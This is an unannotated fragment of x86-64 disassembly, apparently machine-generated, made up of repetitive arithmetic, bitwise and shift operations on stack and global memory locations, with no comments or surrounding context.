movsx ecx, word [rsp + 0x968]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
lea rax, [rsp + 0x13a]
mov qword [0x140114a68], rax
mov rax, qword [rsp + 0x7008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
and eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
lea rax, [rsp + 0x118]
mov qword [rsp + 0x9098], rax
movzx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0x6b08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbb0], ax
lea rax, [rsp + 0xa3]
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [rsp + 0x7440]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7358]
mov ecx, dword [rsp + 0x2fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2cfc], eax
mov rax, qword [rsp + 0x7820]
mov rax, qword [rax]
mov qword [rsp + 0x90a8], rax
mov rax, qword [rsp + 0x5428]
mov rcx, qword [rsp + 0x6648]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x89e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov rcx, qword [0x1401141f0]
mov byte [rcx], al
lea rax, [0x140114700]
mov qword [rsp + 0x90b0], rax
movzx eax, word [rsp + 0xdc0]
movzx ecx, word [rsp + 0x888]
sar eax, cl
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x7e68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
shl eax, cl
mov rcx, qword [rsp + 0x8400]
mov byte [rcx], al
mov rax, qword [rsp + 0x7008]
movzx eax, byte [rax]
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x66f8]
mov rcx, qword [rsp + 0x7070]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8768], rax
mov rax, qword [rsp + 0x57a8]
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d64], eax
lea rax, [rsp + 0x2dd4]
mov qword [rsp + 0x90c0], rax
lea rax, [rsp + 0xe18]
mov qword [0x140114a70], rax
mov rax, qword [rsp + 0x8298]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5968]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x174]
sub eax, ecx
mov byte [rsp + 0x198], al
movzx eax, word [rsp + 0xfd4]
mov word [rsp + 0x10b8], ax
movsx eax, byte [rsp + 0x13f]
movsx ecx, byte [0x14011309f]
add eax, ecx
mov rcx, qword [rsp + 0x8470]
mov byte [rcx], al
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0x90c8], rax
mov rax, qword [rsp + 0x55f0]
mov rcx, qword [rsp + 0x84a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e58]
mov dword [rcx], eax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x7970]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x32e4], eax
movzx eax, byte [rsp + 0x19a]
movzx ecx, byte [rsp + 0x143]
and eax, ecx
mov byte [0x14011309b], al
mov rax, qword [rsp + 0x50a0]
movsx eax, word [rax]
mov rcx, qword [0x140114740]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x79a8]
mov word [rcx], ax
lea rax, [rsp + 0xccc]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x70d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7028]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov byte [rcx], al
movzx eax, word [str.__v83]
mov rcx, qword [rsp + 0x7740]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d40]
mov word [rcx], ax
mov rax, qword [rsp + 0x6008]
mov eax, dword [rax]
mov dword [rsp + 0x32e8], eax
mov rax, qword [rsp + 0x5e78]
mov rcx, qword [rsp + 0x89e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
lea rax, [rsp + 0x7158]
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5498]
shr rax, cl
mov rcx, qword [rsp + 0x7fe0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0x1e4]
or eax, ecx
mov byte [0x140113093], al
movzx eax, byte [0x140114224]
mov byte [rsp + 0x221], al
movzx eax, word [rsp + 0xec0]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc28], ax
movsx eax, word [rsp + 0xc40]
movsx ecx, word [rsp + 0xac0]
shl eax, cl
mov rcx, qword [rsp + 0x6658]
mov word [rcx], ax
mov rax, qword [rsp + 0x8508]
movzx eax, byte [rax]
mov byte [rsp + 0x222], al
mov rax, qword [rsp + 0x72e8]
mov rcx, qword [rsp + 0x6918]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8468]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fc0]
mov rax, qword [rax]
mov qword [rsp + 0x90e0], rax
mov eax, dword [rsp + 0x2f1c]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
mov rcx, qword [rsp + 0x6a60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x32cc], eax
movzx eax, word [rsp + 0x1030]
mov word [0x140114a78], ax
lea rax, [0x140113144]
mov qword [rsp + 0x90e8], rax
mov rax, qword [rsp + 0x87d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14d], al
movzx eax, word [rsp + 0x9a0]
mov word [rsp + 0x10bc], ax
mov rax, qword [rsp + 0x9008]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c8]
add eax, ecx
mov rcx, qword [rsp + 0x54a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7418]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c78]
mov dword [rsp + 0x32ec], eax
mov rax, qword [rsp + 0x7300]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2d30], eax
mov rax, qword [rsp + 0x8260]
mov qword [rsp + 0x90f0], rax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x7b]
add eax, ecx
mov byte [0x1401130db], al
mov rax, qword [rsp + 0x70a8]
movzx eax, word [rax]
mov rcx, qword [0x1401143e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf0c], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x1e7]
sub eax, ecx
mov rcx, qword [rsp + 0x7488]
mov byte [rcx], al
lea rax, [rsp + 0x37]
mov qword [rsp + 0x90f8], rax
mov rax, qword [rsp + 0x7d38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6d60]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0x8ea8]
mov qword [rsp + 0x9100], rax
mov eax, dword [rsp + 0x30a4]
mov rcx, qword [rsp + 0x5fb0]
mov qword [rsp + 0x9108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2af4], eax
mov eax, dword [rsp + 0x2c78]
mov dword [rsp + 0x32f0], eax
mov rax, qword [rsp + 0x8210]
mov rcx, qword [rsp + 0x6490]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bd8], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x7c60]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140114988]
mov word [rcx], ax
movzx eax, byte [0x1401130a2]
movzx ecx, byte [rsp + 0x20b]
and eax, ecx
mov byte [rsp + 0x129], al
lea rax, [rsp + 0xaac]
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x5d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x68d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1cb], al
movzx eax, byte [0x140114234]
mov byte [rsp + 0x223], al
mov rax, qword [rsp + 0x8b20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3234], eax
mov rax, qword [rsp + 0x87a8]
mov rcx, qword [rsp + 0x7828]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8468]
mov qword [rcx], rax
lea rax, [rsp + 0x3224]
mov qword [rsp + 0x9118], rax
mov rax, qword [rsp + 0x5340]
mov rcx, qword [rsp + 0x4d68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8008], rax
movzx eax, word [rsp + 0xa24]
mov word [rsp + 0x10c0], ax
mov rax, qword [0x140114598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8348]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401130de], al
movsx eax, byte [rsp + 0x6c]
mov rcx, qword [rsp + 0x78a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5fa8]
mov byte [rcx], al
movzx eax, word [rsp + 0x10a8]
movzx ecx, word [0x1401148a0]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov word [rcx], ax
lea rax, [rsp + 0xba4]
mov qword [rsp + 0x9120], rax
mov rax, qword [rsp + 0x8688]
mov rcx, qword [rsp + 0x57c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f18], rax
lea rax, [rsp + 0x7af8]
mov qword [rsp + 0x9128], rax
mov eax, dword [rsp + 0x2f9c]
movzx ecx, al
mov eax, dword [rsp + 0x304c]
sar eax, cl
mov dword [rsp + 0x3110], eax
mov eax, dword [rsp + 0x2d84]
mov ecx, dword [rsp + 0x2af8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x31f8], eax
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x9130], rax
movzx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x5c48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140113017], al
movzx eax, word [rsp + 0xa7c]
mov rcx, qword [rsp + 0x5130]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x220]
mov byte [rsp + 0x224], al
movsx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1038], ax
mov eax, dword [rsp + 0x3050]
mov dword [rsp + 0x32f4], eax
mov eax, dword [rsp + 0x2e1c]
mov ecx, dword [rsp + 0x3148]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
mov qword [rsp + 0x9138], rax
movzx eax, word [rsp + 0x998]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov word [rcx], ax
mov rax, qword [rsp + 0x79c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
add eax, ecx
mov word [0x140113194], ax
movzx eax, byte [rsp + 0x121]
mov byte [rsp + 0x225], al
movsx eax, byte [0x1401130b2]
mov rcx, qword [rsp + 0x6970]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a88]
mov byte [rcx], al
mov rax, qword [rsp + 0x6eb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x80b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b70]
mov byte [rcx], al
mov rax, qword [rsp + 0x8410]
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x5df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x62a0], rax
lea rax, [rsp + 0x2ca8]
mov qword [rsp + 0x9148], rax
mov rax, qword [rsp + 0x5fb0]
mov ecx, dword [rsp + 0x3104]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov dword [rcx], eax
mov rax, qword [0x140114440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a4]
and eax, ecx
mov byte [rsp + 0x1a8], al
movsx eax, word [rsp + 0x840]
movsx ecx, word [rsp + 0x95c]
or eax, ecx
mov rcx, qword [0x1401143f8]
mov word [rcx], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0x9150], rax
mov rax, qword [0x140114768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8810]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x71c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
mov rcx, qword [0x140114480]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov byte [rcx], al
lea rax, [rsp + 0x2c30]
mov qword [rsp + 0x9158], rax
mov rax, qword [rsp + 0x6c58]
mov rcx, qword [rsp + 0x54e0]
mov qword [rsp + 0x9160], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9160]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8678]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5390]
mov rcx, qword [rsp + 0x7398]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov dword [rcx], eax
lea rax, [rsp + 0x80e0]
mov qword [rsp + 0x9168], rax
movzx eax, word [rsp + 0x1034]
mov word [0x140114a7c], ax
mov rax, qword [rsp + 0x8f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6358]
mov word [rcx], ax
movzx eax, byte [0x1401130da]
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0x70a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x95c]
and eax, ecx
mov word [rsp + 0xe4c], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x72d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
lea rax, [rsp + 0x2afc]
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x6d38]
mov rcx, qword [rsp + 0x5d50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b68], rax
lea rax, [rsp + 0x7970]
mov qword [rsp + 0x9178], rax
mov rax, qword [rsp + 0x8f58]
mov ecx, dword [rsp + 0x3170]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6208]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf4]
movzx ecx, byte [rsp + 0x4c]
sub eax, ecx
mov rcx, qword [0x140114508]
mov byte [rcx], al
mov rax, qword [rsp + 0x82c0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401130af]
sub eax, ecx
mov byte [rsp + 0x1c2], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x6ae0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe0]
add eax, ecx
mov word [rsp + 0xb54], ax
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x8bb8]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8280], rax
mov rax, qword [rsp + 0x7468]
mov ecx, dword [rsp + 0x322c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29f0], eax
lea rax, [rsp + 0x2d34]
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x5ab0]
mov rcx, qword [0x140114160]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x5738]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401130df], al
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov word [rsp + 0x10c4], ax
mov rax, qword [0x140114530]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8448]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1020], ax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x9190], rax
movsx eax, byte [rsp + 0x4d]
movsx ecx, byte [rsp + 0x1aa]
sar eax, cl
mov rcx, qword [rsp + 0x7f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x5fd0]
mov rcx, qword [rsp + 0x6720]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5df0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70e8]
mov eax, dword [rax]
mov dword [rsp + 0x32f8], eax
mov rax, qword [rsp + 0x7f20]
mov rcx, qword [rsp + 0x5390]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8718]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8628]
mov qword [rsp + 0x9198], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140114840], ax
movzx eax, word [rsp + 0xbec]
movzx ecx, word [0x140113064]
and eax, ecx
mov word [rsp + 0xb6c], ax
movzx eax, byte [rsp + 0xa5]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [rsp + 0x8598]
mov byte [rcx], al
mov rax, qword [rsp + 0x7968]
movzx eax, byte [rax]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401130c3]
add eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2bcc]
mov dword [rsp + 0x32fc], eax
mov rax, qword [rsp + 0x8380]
mov rcx, qword [rsp + 0x6268]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e80], rax
mov rax, qword [rsp + 0x86d0]
mov rcx, qword [rsp + 0x6460]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8808]
mov qword [rcx], rax
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x91a0], rax
movsx eax, byte [rsp + 0x188]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401142b7], al
mov rax, qword [0x1401149a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6838]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe80], ax
lea rax, [rsp + 0xe34]
mov qword [rsp + 0x91a8], rax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x8058]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x18d], al
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x91b0], rax
mov rax, qword [rsp + 0x68f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6568]
sar rax, cl
mov qword [rsp + 0x7248], rax
mov rax, qword [rsp + 0x6728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6868]
mov qword [rsp + 0x91b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7f30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f94]
mov dword [rsp + 0x3300], eax
mov rax, qword [rsp + 0x7ce0]
mov rcx, qword [rsp + 0x5190]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b28], rax
lea rax, [rsp + 0x16d]
mov qword [0x140114a80], rax
movzx eax, byte [0x140114232]
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x9190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x72d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf54], ax
movsx eax, byte [rsp + 0x13f]
mov rcx, qword [rsp + 0x62a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20c], al
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x91c0], rax
mov eax, dword [rsp + 0x2db8]
mov ecx, dword [rsp + 0x2f74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3144], eax
lea rax, [rsp + 0x5ac0]
mov qword [rsp + 0x91c8], rax
mov eax, dword [rsp + 0x2e24]
mov ecx, dword [rsp + 0x2f80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9170]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5970]
mov rcx, qword [rsp + 0x4e08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x65a0], rax
mov rax, qword [rsp + 0x6838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf38]
sub eax, ecx
mov word [0x140113198], ax
lea rax, [0x140114a18]
mov qword [rsp + 0x91d0], rax
movsx eax, byte [rsp + 0x12d]
movsx ecx, byte [rsp + 0x17f]
add eax, ecx
mov rcx, qword [rsp + 0x5c30]
mov byte [rcx], al
lea rax, [rsp + 0xcd0]
mov qword [rsp + 0x91d8], rax
movzx eax, byte [0x14011308a]
movzx ecx, byte [rsp + 0xc6]
add eax, ecx
mov rcx, qword [rsp + 0x6028]
mov byte [rcx], al
mov rax, qword [rsp + 0x8260]
mov rcx, qword [rsp + 0x7518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f10], rax
lea rax, [rsp + 0x8d38]
mov qword [rsp + 0x91e0], rax
mov rax, qword [rsp + 0x8a50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2da4], eax
mov eax, dword [rsp + 0x2f30]
mov dword [rsp + 0x3304], eax
movsx eax, byte [rsp + 0x123]
movsx ecx, byte [rsp + 0x1d8]
xor eax, ecx
mov byte [rsp + 0x3f], al
movsx eax, word [rsp + 0x8d8]
mov rcx, qword [rsp + 0x84d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401130a8], ax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x91e8], rax
movzx eax, word [rsp + 0x89c]
mov rcx, qword [rsp + 0x7d98]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb30], ax
mov rax, qword [0x140114278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf8c]
and eax, ecx
mov word [rsp + 0xa60], ax
lea rax, [rsp + 0x30c8]
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x2cb8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5378]
mov dword [rcx], eax
lea rax, [rsp + 0x8050]
mov qword [rsp + 0x91f8], rax
mov rax, qword [rsp + 0x4b90]
mov rcx, qword [rsp + 0x78e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8340], rax
movzx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0x8c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movzx eax, word [rsp + 0x104c]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [0x140113130], ax
mov rax, qword [rsp + 0x7dd8]
movzx eax, byte [rax]
mov byte [rsp + 0x22b], al
movzx eax, word [rsp + 0xcc0]
movzx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x68d8]
movzx eax, byte [rax]
mov byte [rsp + 0x22c], al
mov rax, qword [rsp + 0x6278]
mov rcx, qword [rsp + 0x8f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f58], eax
mov rax, qword [rsp + 0x72f8]
mov ecx, dword [rsp + 0x2c94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ffc], eax
mov rax, qword [rsp + 0x59f8]
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x5eb8]
mov rcx, qword [rsp + 0x52e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x72d8]
mov qword [rcx], rax
lea rax, [rsp + 0xa6]
mov qword [rsp + 0x9208], rax
movzx eax, word [0x140113034]
mov word [0x140114a88], ax
mov rax, qword [rsp + 0x8e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
add eax, ecx
mov rcx, qword [rsp + 0x7328]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8f8], ax
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b38]
mov qword [rsp + 0x9218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9218]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x79f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x9220], rax
mov rax, qword [rsp + 0x5378]
mov rcx, qword [rsp + 0x4bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5a38]
mov rax, qword [rax]
mov qword [rsp + 0x9228], rax
mov rax, qword [rsp + 0x8c90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ec]
shl eax, cl
mov byte [rsp + 0x1d5], al
mov rax, qword [rsp + 0x7e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8070]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401146c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [rsp + 0xea0], ax
mov rax, qword [rsp + 0x8ec8]
movzx eax, byte [rax]
mov byte [rsp + 0x22d], al
movzx eax, byte [0x1401130c7]
mov rcx, qword [rsp + 0x7110]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6718]
mov byte [rcx], al
lea rax, [rsp + 0xff0]
mov qword [rsp + 0x9230], rax
mov rax, qword [rsp + 0x7da8]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7750]
mov rcx, qword [rsp + 0x87c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5000], rax
mov eax, dword [rsp + 0x2b00]
mov dword [rsp + 0x3308], eax
mov rax, qword [rsp + 0x5fd0]
mov rcx, qword [rsp + 0x8df0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8a40]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xec]
movzx ecx, byte [rsp + 0x19b]
sub eax, ecx
mov byte [0x1401130e2], al
movzx eax, word [rsp + 0x9e0]
mov word [rsp + 0x10c8], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [0x140113043]
and eax, ecx
mov rcx, qword [rsp + 0x7ac0]
mov byte [rcx], al
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x6048]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x7920]
movzx eax, word [rax]
mov word [rsp + 0x10cc], ax
mov rax, qword [rsp + 0x8fe8]
mov rcx, qword [rsp + 0x81a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ef8], eax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0x9238], rax
mov eax, dword [rsp + 0x30b8]
movzx ecx, al
mov eax, dword [rsp + 0x2e6c]
shl eax, cl
mov rcx, qword [rsp + 0x7888]
mov dword [rcx], eax
lea rax, [0x140114160]
mov qword [rsp + 0x9240], rax
